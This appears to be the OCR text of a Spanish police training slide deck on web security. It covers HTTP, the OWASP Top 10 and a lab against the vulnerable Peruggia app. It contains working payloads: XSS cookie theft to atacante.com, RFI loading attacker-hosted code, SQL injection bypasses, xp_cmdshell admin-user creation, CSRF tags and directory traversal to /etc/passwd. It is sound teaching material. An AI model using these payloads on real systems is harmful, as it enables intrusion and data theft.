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Objetivo

 El asistente aprendera los conceptos basicos sobre los
protocolos de las en aplicaciones web, la seguridad de su
informacion, conocera las vulnerabilidades mas comunes y
técnicas para su deteccion temprana, asi como su debida

explotacion proactiva.
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Agenda

Introduccion a HTTP

Introduccion a OWASP

OWASP Top 10

Vulnerabilidades en aplicaciones Web
o Cross Site Scripting

SQL Injection

Local File Includes

Remote File Includes

Path o Directory Traversal

Cross Site Request Forgery

Escaneres de seguridad en aplicaciones web
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HTTP (HiperText Transfer Protocol)

* Desarrollado por el World Wide Web
Consortium y la Internet Engineering
Task Force, colaboracion que culmino
en 1999 con la publicacion de una

serie de RFC, el mas importante de
ellos es el RFC 2616.

e HTTP es la base sobre la cual esta
fundamentado Internet.

* HTTP es el protocolo utilizado en cada
transaccion World Wide Web.
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* Es un protocolo orientado a transacciones y sigue el esguema
peticion-respuesta entre un cliente y un servidor.

e HTTP es un protocolo sin estado, es decir, no guarda informacion
sobre |las conexiones anteriores.

* Las cookies son informacion que un servidor puede almacenar en el
sistema cliente para mantener un estado.
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W

e Una transaccion HTTP esta
formada por un encabezado.

* El encabezado especificara cosas b =|
como la accién requerida del o o serr
servidor, el tipo de dato | © |  Zamae
retornado o el cédigo de estado. e

i S

* Los encabezados permiten que -

se envie informacion descriptiva

en la transaccion, permitiendo
asi la autenticacion, cifrado e
identificacion del usuario.
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e HTTP/1.0 definido en RFC 1945

v" Tiene dos tipos de mensajes: HTMIL Page wih 4 mage
objects
= HTTP request [browser->
Server] | GET /index htm| >
: < index html | Web Server
= HTTP response [server-  cen s —
>browser]
e >
; image1.png |
‘/ MEtOdOSZ GET, HEAD, POST. < 27 TCP Connection
v No se mantiene el estadoen - - - - - -
HTTP. -
v' Una conexién TCP para cada _

peticion HTTP.
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* HTTP/1.1 definido en RFC 2616:

v’ Métodos: GET, HEAD, POST, AT Page v 4 mac
OPTIONS, PUT, DELETE, TRACE,
CONNECT. Q)

v’ Encabezado “Host”: indica el e
nombre del servidor al cual se
realiza la peticion, permite que
se utilicen hosts virtuales.

v No se mantiene el estado en
HTTP.

v’ Conexiones TCP persistentes
por defecto.

Web Server

|||||||||
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e Al cliente que efectua la peticidon (un navegador web o un spider)
se lo conoce como "user agent" (agente del usuario).

* A la informacion transmitida se le llama recurso y se le identifica
mediante un localizador uniforme de recursos (URL).

* Los recursos pueden ser archivos, el resultado de la ejecucion de
un programa, una consulta a una base de datos, la traduccion
automatica de un documento, etc.
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Método HTTP/1.0: GET, HEAD o POST
Método HTTP/1.1: GET, HEAD, POST, OPTIONS, PUT, DELETE,
TRACE o CONNECT
Version: HTTP/1.0 o HTTP/1.1
Encabezados: user-agent, encoding, language, content-length.

URI puede ser:
e URL absoluto.
e Path absoluto.

METODO URI VERSION

[ENCABEZADO-1]: [Valor]

[ENCABEZADO-N] : [Valor]

[CUERPO DEL MENSAJE]

10
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GET /update/?timesincelastcheck=684942 HTTP/1.0
User-Agent: Opera/9.52 (X11l; Linux i686; U; en)
Host: xml.opera.com

Accept: text/html, application/xml;g=0.9, application/xhtml+xml,

image/png, image/jpeg, image/gif, image/x-xbitmap,

*/*:,q=0.1
Accept-Language: en-US,en;g=0.9
Accept-Charset: iso-8859-1, utf-8, utf-16, *;g=0.1

Accept-Encoding: deflate, gzip, x-gzip, identity, *;g=0

1"
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* Version: HTTP/1.0 o HTTP/1.1.

* El codigo de estado es un numero de tres digitos que indica el
estado de la respuesta: 200, 403, 500.

 Ladescripcion es una frase que explica el codigo de estado:
e 200->0K
 403->Forbidden
* 500 -> Internal Server Error

VERSION CODIGO DE ESTADO DESCRIPCION

[ENCABEZADO-1]: [Valor]

[ENCABEZADO-N] : [Valor]

[CUERPO DEL MENSAJE] 12
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1

HTTP/1.1 200 OK

Date: Wed, 11 Mar 2009 21:04:42 GMT

Server: Apache/2.2.3 (Debian) mod apreq2-20051231/2.6.0
mod perl/2.0.2 Perl/v5.8.8

Connection: close

Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>

<versioncheck spoof="1236374510" bspit="1236628795">

13
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N

* Es la manera en la cual se mantiene el estado en el protocolo
HTTP.

* Se define en los RFC 2109, y RFC 2965 anade la version 2.
* Define el encabezado “Set-Cookie”, ejemplo:
* Set-Cookie: nombre= Javier; empresa= SSP; path=/mail
* Define el encabezado “Cookie”, ejemplo:
* Cookie: nombre= Javier; empresa= SSP
* Path: el directorio para el cual la cookie es valida, “/mail”.
 Domain: el dominio para el cual la cookie es valida.

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html

Set-Cookie: PREF=ID=5e66ffd215b4c5e6:

TM=1147099841:1M=1147099841 : S=0£69MpW
Bs23xeSv0; expires=Sun, 1l/7/-Jan-2038
9:14:07 GMT; path=/; domain=.google.c
onl
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*Max-Age: Tiempo de vida en segundos de la cookie.

*Path: Especifica el subconjunto de URL’s para las que aplica la
cookie.

*Secure: La cookie debe ser enviada solo por canales seguros
(HTTPS).

*HTTP-Only: Indica si la cookie puede ser accedida desde javascript,

LW

15
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OWASP (Open Web Application Security Project)

* Es un proyecto de codigo abierto dedicado a determinar vy
combatir las causas (personas, procesos y tecnologia) que hacen
que el software sea inseguro.

e La comunidad OWASP esta formada por empresas,
organizaciones educativas y particulares de todo mundo.

e Constituyen una comunidad de seguridad informatica que trabaja
para crear articulos, metodologias, documentacion, herramientas
y tecnologias que se liberan y pueden ser utilizadas por
cualquiera gratuitamente.

OWASP

The Open Web Application Security Project

16
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e OWASP esta libre de presiones corporativas lo que facilita la
generacion de informacion imparcial, practica y redituable sobre
seguridad de aplicaciones informaticas.

* OWASP recomienda enfocar l|la seguridad de aplicaciones
informaticas considerando todas sus dimensiones: personas,
procesos y tecnologias.

* Los documentos con mas éxito de OWASP incluyen la Guia
OWASP y el ampliamente adoptado documento de
autoevaluacion OWASP Top 10.

e Las herramientas OWASP mas utilizadas incluyen el entorno de
formacion WebGoat, la herramienta de pruebas de penetracion
WebScarab y las utilidades de seguridad para entornos .NET
OWASP DotNet. .
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* El OWASP Top 10 es un documento que se centra en las 10
vulnerabilidades mas criticas de las aplicaciones web.

e Las 10 vulnerabilidades mas criticas segun el documento OWASP
Top10, 2010 son:

e Al:
e A2:
* A3:
e A4:
* A5:
* A6:
e A7:
* AS:
* A9:

Injection

Cross-Site Scripting (XSS)

Broken Authentication and Session Management
Insecure Direct Object References

Cross-Site Request Forgery (CSRF)

Security Misconfiguration

Insecure Cryptographic Storage

Failure to Restrict URL Access

Insufficient Transport Layer Protection

e A10: Unvalidated Redirects and Forwards

18
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VULNERABILIDADES EN
APLICACIONES WEB



CROSS SITE SCRIPTING (XSS) POLICIA l"

 Es un error que se produce en contexto de lenguaje de marcas
HTML, al generar la presentacion de una pagina web.

 Un usuario puede inyectar cddigo malicioso (HTML/Javascript)
gue se ejecuta en el contexto del browser del cliente.

 Permite comprometer informaciéon de otros usuarios (robar
cookies, ejecutar codigo Javascript, etc)

20
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http://host/ejemplo.php?user=Andrés

<?

echo htmlspecialchars ($_GET['user']);
?>

@

Andrés

v
v

21
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http://host/ejemplo.php?user=<script>alert(‘xss’)</script>

<?
echo htmlspecialchars ($_GET['user']);
?>

I&lt;script&gt;alert('xss')&lt;/script&gt; I

‘ <script>alert('xss')</script> I

No Vulnerable

22
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http://host/ejemplo.php?user=<script>alert(‘xss’)</script>

<?
echo $§ GET['user'];
?>

|<script>a1ert('xss')</script> I

u <localhost>
reflected xss

B Stop executing scripts on this page
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* Por medio de Javascript es posible controlar el browser de la
victima del ataque para realizar alguna de las siguientes
actividades:

v" Robo de Identidad/Sesidn.

<script>

document.location="http://atacante.com/'+document.cookie

</script>

24
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v’ Redireccidn del cliente hacia el sitio web especificado
para posible phishing:

<script>

document.location="http://atacante.com"

</script>

25



INJECTION FLAWS — SQL INJECTION POLICIA 2 .::'.TS--.FEDEHAL
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e SQL Injection es una de las
vulnerabilidades de inyeccion mas
comunes, y a la vez de mayor riesgo.

e Es un error que se produce en -
contexto de sentencia SQL.

Authentication |
Username

PQSSWOId

e Un usuario es capaz de alterar la
sentencia SQL, y asi alterar el
comportamiento de la aplicacion:

r RE‘mEmb 1 M e
LOQm

= Afadir, borrary extraer datos.

"= Ejecutar comandos del sistema
operativo.

" Es posible comprometer datos vy
servidores.

26
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[ Authentication |
Authentication |
Username

4 assword

™ Remergbey Me

Lagin

<?

»n »n

Slink = mysql_connect(“localhost”, “root”, ”moth”);
mysql_select_db(“test”, Slink);

Ssql_stm = “SELECT * FROM users where username="". S_POST[“username”]
“ and password="". $_POST[“password”] . “’”;

Sresult = mysql_query(Ssql_stm, $link);
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e SELECT * FROM usuarios WHERE
username=‘contabilidad” AND password="muestra’

e SELECT * FROM usuarios WHERE username=“ OR
1=1--" AND password="muestra’

e SELECT * FROM usuarios WHERE

username=‘contabilidad’ AND password="; DROP
TABLE usuarios; --’
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Es posible encontrar vulnerabilidades de SQL Injection en los
siguientes vectores:

Parametros por Query Strings (Get).
Campos de formularios (Post).

Cookies.
Cabeceras HTTP.
Archivos.

Para detectar vulnerabilidades de SQL Injection, es necesario
enviar requests HTTP especialmente formados, utilizando alguna
de las siguientes secuencias en los vectores anteriormente
mencionados. .

/ a’b’c

* %

29



SQL INJECTION — EJECUCION DE
COMANDOS XP_CMDSHELL
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e Es un Stored Procedure de la base
de datos master.

e Ejecuta comandos a través del |
cmd.exe. Pt S e i s e
* Los comandos se ejecutan con los
privilegios del servicio SQL.
e Representa un riesgo critico para el
sistema.
* Se invoca: exec
master.dboxp cmdshell’comando’

exec master.dbo.xp_cmdshell ‘net user atacante p4asswd /add’

exec master.dbo.xp_cmdshell ‘net localgroup administrators atacante /add’
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 E|l Remote File Inclusion, RFI, o inclusidon remota de archivos, es
un tipo de vulnerabilidad que podemos encontrar en paginas
web que no filtran correctamente la informacion proveniente del
usuario.

* LFI, Local File Inclusion o inclusion local de archivos, es un tipo de
vulnerabilidad que un atacante puede aprovechar para tener
acceso a archivos locales de nuestro servidor, como el archivo de
configuracion de nuestra aplicacion.

http://mipaginaweb.com/index.php?pagina=conf/
configuracion.php

31
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 Son archivos que se encuentran en el mismo servidor de Ia
web con este tipo de fallo, a diferencia de Remote File
Inclusion que incluye ficheros alojados en otros servidores.

* Es consecuencia de un fallo en la programacion de la pagina,

mal filtrado de los que se incluye al usar funciones en PHP
para incluir archivos.

Funciones PHP mas usadas que permiten inclusion de ficheros:

include "fichero";

require "fichero";
include_once "fichero";
require_once "fichero",;

32
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 Vulnerabilidad encontrada unicamente en el lenguaje de
programacion PHP, el codigo de la aplicacion es el siguiente:

<?

Spage = $ GET['page'l];

require ($page) ;

e Se presenta debido a la funcionalidad provista por PHP
llamada “allow url include”, por la cual es posible requerirle a
PHP que incluya el resultado de realizar un request a:

http://attacker.tld/evil-code.txt
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>

victim.tid attacker.tid

&/t

/?page=http://attacker.tid/evil-code.txt

\J

/evil-code.txt

<? system(‘whoami’); 7>

Include the response from
attacker.tid

Return HTML body with execution
result

-

34
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e Esun error producido en contexto de ruta de archivo.

|:> File://usr/info/../../. ./file.xml

* El usuario puede manipular la ruta de un archivo para que se
acceda a otros archivos de forma no controlada, generalmente
escapando del directorio mediante “../”

‘ v a ﬂ [@I http:)/apache.bonsai-sec.com/w3af/audit/local_fle_read/local_file_read.php?fle=../..)../..J.././..Jetc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/
/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:p:/var/spoc
/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucpx:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:pro:
data:/varfwww:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/lisi
/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nob

35
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 Técnica donde el atacante obliga al navegador de la victima a
enviar una peticion a una aplicacion Web vulnerable, esta
ultima realiza la accion elegida a través de la victima.

@. v £  http:/imiweb.comfsend . asprto=user@example. comBmess="test messag

<img src=http://miweb.com/send.asp?to=user@example.com&mess=Span>

<img src=http://home-banking.com/tranfer.php?src=1111&dst=1234&amount=3>

36
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Las aplicaciones web pueden ser analizadas utilizando distintos
enfoques, entre ellos, es posible distinguir los siguientes:

* Analisis estatico de codigo: El analista de seguridad posee acceso
al codigo fuente de la aplicacion, y a manuales del usuario, pero
no posee acceso a la aplicacion en si misma.

 White Box: El analista de seguridad posee acceso al cddigo
fuente de la aplicacion, manuales de usuario, credenciales
validas del sistema, configuracion del servidor Web y acceso a la
aplicacion en si misma.

 Black box: En este enfoque, el analista de seguridad posee
unicamente acceso a la aplicacion.

37
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Ventajas:

e Mas informacion disponible, mas vulnerabilidades que se
puedan descubrir.

* Es posible descubrir todas las vulnerabilidades. No es necesario
suponer nada, todo esta en el codigo.

Desventajas:

e Con sistemas grandes la cantidad de la informacion es tanta que
puede resultar muy compleja de manejar.

 Cuando no es posible acceder a la aplicacion es comun que el
analista se pierda entre tanto codigo.

38
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Ventajas:

* Simplicidad.

 Menor tiempo de testing.

 Provee un enfoque real, porque se posee el mismo nivel de
conocimiento sobre la aplicacion que un intruso potencial.

Desventajas:

* Vulnerabilidades trivialmente detectables con White box
testing, no pueden ser detectadas con este enfoque.

* No se aprovecha el codigo fuente de la aplicacion a favor de Ia
seguridad de la misma.

39
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Existen diversas herramientas para realizar analisis de seguridad
en aplicaciones Web, algunas de las herramientas comerciales o
comunes son:

e Acunetix Web Security Scanner.
* SPI Dynamics.
 NTOSpider from NTObjectives.

MHacunetix

Poseen una gran cantidad de funcionalidades, soporte para
javascript, etc. Pero son Closed Source (codigo cerrado). Existen
también alternativas Open Source (codigo abierto) como:

 Grendel scan.
e \W3af.

 Etc.

40
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W3af = Web Application Attack and
Audit Framework.

* Scanner de vulnerabilidades web.

e Herramienta de explotacion de
vulnerabilidades.

Web Application Attack and Audit Framework

M



$ ﬂ W3AF

Caracteristicas principales:

e Detecta mas de 150 tipos de
vulnerabilidades web.

e Cross platform (python).

* Emplea técnicas de tactical
exploitation para descubrir nuevas
URLs y vulnerabilidades.

* |Interfaces de usuario, consola vy
grafica.

e Posibilidad de detectar
vulnerabilidades en query string,
post data, HTTP headers, JSON.

POLICIA 57

w.saf

Web Application Attack and Audit Framework

42



POLICIA i:;‘,{ FEDERAL

PRACTICA
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Pagina Objetivo:
URL: http://192.168.1.50/peruggia

@Atrés v ‘\) @ @ :h /‘f) Busqueda *Favoritos @ Bv :; E ‘3

Direccion | €] http:/f192.168.11.131 fperuggiaf v|Br | vincuos
~

Welcome Guest | Login | Home | About | Learn

[Comments|

Comment on this picture

Uploaded by: Peruggia 45
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Ubicacion de la Vulnerabilidad

Welcome Guest | Login | Home | About | Learn

-Login Campos sin validaciéon de

metacaracteres o

Username palabras reservadas del
Passwordzl Ienguaje SQL

Peruggia 1.2 | https://sourceforge net/projects/peruggia/

46
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Ataque

* Accediendo como el primer usuario
registrado en la Pagina

—Inyeccion 1. "or 1=1--a

* Accediendo como usuario especifico.
— Inyeccion 2. " or username like 'J%’ -- a
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Resultado de Inyeccion 1

Direccion .éj http:f/192.165.2.137/perugagiafindex.php?action=account v Ir Yincul
|
WelcomAccount | Uploadi/Delete | Logout | Home | About | Learn
-[Change Password| -[Add User]
New Password: | Username: | |
Confirm : | Password: | |
-Delete User|

admin fetetete}
usuario [delete]
Jorge [delete]




POLICIA JE5 FEDERAL

L N %
¢ N
(]

.~ «

Wi

Resultado de Inyeccion 2

Direccion éj http:f/192.168.2,137/perugaiafindex.php?action=account v/ Ir Yincu
Welcomel Jorge | Account | Uploadi/Delete | Logout | Home | About | Learn
-[Change Password| -[Add User]
New Password: | Jsername: | |
Confirm : | Password: | |
-Delete User|
admin [delete]
usuano [delete]
Jorge Feteted




POLICIA i:;‘,{ FEDERAL

DIRECTORY TRAVERSAL



POLICIA S5 FEDERAL

-

¢
4

xADOS
n"\\ = ~"/,\
,3@1
- >
. /'
.

Pagina Objetivo

URL: http://192.168.1.50/peruggia/index.php

@Atrés < Q @ @ :h /‘3 Busqueda *Favoritos @ Bv ;'_ ‘\g ':1 3

Welcome Guest | Login | Home | About | Learn

FComments|

Comment on this picture

Uploaded by: Peruggia




Ubicacion de la Vulnerabilidad

A Peruggia 1.2 - Microsoft Internet Explorer

Archivo Edicidn Ver Favoritos Herramientas Avyuda

@ Atrds ~ '\_) @ @ i h /‘3 Busqueda *Favoritos @ Bv k A 'ﬁ

POLICIA S5 FEDERAL
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Direcciory | @] http:/{192.168.2.137/perugaiafindex.php

v I Ir Yinculos

~

-|Comments|

B ontto puercospin bebe.
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Ataque

 Escalamiento de directorios utilizando los caracteres ../
para Linux y ..\ para Windows.

« Sistema Operativo Windows XP: Busqueda del archivo
boot.ini ubicado en la ruta C:/

« Sistema Operativo Linux. Busqueda del archivo
passwd ubicado en la ruta /etc/
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Resultados para exploracion tipo Windows

Se repite la combinacion de caracteres ..\ en maximo 10 veces.

URL: http://192.168.1.50/peruggia/index.php?action=..\..\..\..\..\boot.ini

Direccion é'] http:f/192.168.2.137/peruggiafindex.php?action=..4..1..1..\..\boot.ini v a Ir Yinculos

Peruggia 1.2

Welcome Jorge | Account | Upload/Delete | Logout | Home | About | Learn

Peruggia 1.2 | https://sourceforge net/projects/peruggia/
Developed by Andrew Kramer
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Resultados para la exploracion tipo Linux

Al repetir 7 veces la combinacion de caracteres ../ se obtiene el contenido
del archivo buscado.

URL: http://192.168.1.50/peruggia/index.php?action=../../../../..]..]../letc/passwd %00

Direccion -é:l http:/f192.168.2.137/peruggiafindex.php?action=..J..[..J..[..J..]. . Jetc/passwd %00 v a Ir Yincu

W“

Welcome Jorge | Account | Upload/Delete | Logout | Home | About | Learn

rootx0:0rootfroot/binfbash| daemonz: 1: 1:daemon:fustisbin/bin/sh binx:2:2:binfbin/binfsh sys:x:3:3:sys/dev./bin/sh
sync:x4:600 34 sync/bmnibinfsync games:x:5:60.games:ust/games./bin/sh man:x:6:12:man:fvar/icache/man:/bin/sh
lp:x 7 Flpivarfspoolilpdibin/sh mailx:8:8:mailfvar/mail /bin/sh news:x:9:9:news:fvar/spoolnews/bin/sh
uucp:x: 10:10:uucpfvarispooliuucp/bin/sh proxyx:13:13 proxy./bin/bin/sh www-datax: 33:33:www-data/varfwww./bin/sh
backup:x:34:34 backup fvar/backups:/binish list:x:38:38: Mailing List Managerfvarfist/binfsh wrex:39:3%red fvarfrunfircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats/bin/sh nobodyx:65534:65534 nobody/nonexstent/bin/sh
libuuid:x: 100:101:fvarflib/libuuid:/bin/sh syslogx:101:102:fhomefsyslog/binfalse klogx:102:103:/homeiklogfbmnifalse
mysglx: 103: 105 MySQL Server,,, fvarflib/mysql/bmnffalse landscapex: 104:122: fvarflib/landscape fbinfalse
sshdx:105:65534  fvarfrunfsshd.fusrisbin/nologin postgres:x: 106:109:Postgre SQL adminstrator,,, fvarilib/p ostgresgl/bin/bash
messagebus:x:107:114 fvarfrun/dbus/binffalse tomcaté:x: 108:115:fusrishareftomcaté fbinfalse
user:x: 1000:1000:user,,, thomefuseribin/bash polkituserx: 109:118:PolicyKit,,, fvarfrun/P olicyKit./binffalse
haldaemon:x:110:119:Hardware abstraction layer,,,/variunhald:/binffalse pulsex:111:120:Pulse Audio
daemon,,, fvarfrun/pulsesbinffalse postfixx:112:123:fvarispoolipostiiz/bin/false




POLICIA 57 FEDERAL

CROSS-SITE SCRIPTING
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Pagina Objetivo

POLICIA S5 FEDERAL

URL: http://192.168.1.50/peruggia/index.php

@Atrés - \) @ @ :h /‘:j Busqueda *Favoritos @ Bv L—% E 3

Direccidn I@ http:{192.168.11.131 {peruagiaf v| Ir  Vinculos

Welcome Guest | Login | Home | About | Learn

FCommentsl

Comment on this picture

Uploaded by: Peruggia




POLICIA S5 FEDERAL

Ubicacion de la Vulnerabilidad

¢ 2 Peruggia 1.2 - Microsoft Internet Explorer

EEX
_.7'.

Il Archivo Edicién Ver Favoritos Herramientas Avuda

] entrés v \) E @ : h /‘:) Busqueda \;‘\\'(Favoritos @ Bv 5\ 3

Direccid @ http:f{192.168.2.137/peruggiafindex.php

V\ Ir Yinculos |

~

|Comments|

onito puercospin bebe.




POLICIA 45

Ataque

« Lainyeccion sera de codigo HTML.
— Desplegado de mensaje emergente.
— Desplegado un mensaje dentro de la pagina web.

« URL: http://192.168.1.50/peruggia/index.php?
action=learn&type=<script>alert('Esta%20pagina
%20ha%20sido%20hackeada%20por%20Jorge
%20Duran')</script>&paper=http://192.168.1.50/
getboo/code.txt




POLICI'A..lé'}FEDERAL

Resultados Obtenidos

-@_’] http:/{192.168.2.137/peruggiafindex. php?action=learn&kype= <script >alert{'Esta%20pagina®20ha%20sido%20hackead ¥ | Ir Yinculos

Microsoft Internet Explorer

! E Esta pagina ha sido hackeada por J. Duran

' Aceptar | About | Learn




POLICIA 5°

Resultados Obtenidos

Direccion ’»éj http:f/192.168.2.137/perugaiafindex. php?action=learn&type=<script = alert{'Esta%20pagina%20ha%20sido%20hackead V} Ir Yinculos
'w A

Welcome Guest | Login | Home | About | Learn

Este sitio ahora se encuentra a cargo de su servidor Hacker JDuran :D
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POLICIA 63" FEDERAL

POLICIA FEDERAL
DIVISION CIENTIFICA

COORDINACION PARA LA PREVENCION DE
DELITOS ELECTRONICOS

SUBINSPECTOR ING. JORGE CHRISTIAN DURAN LARA

GRACIAS POR SU ATENCION
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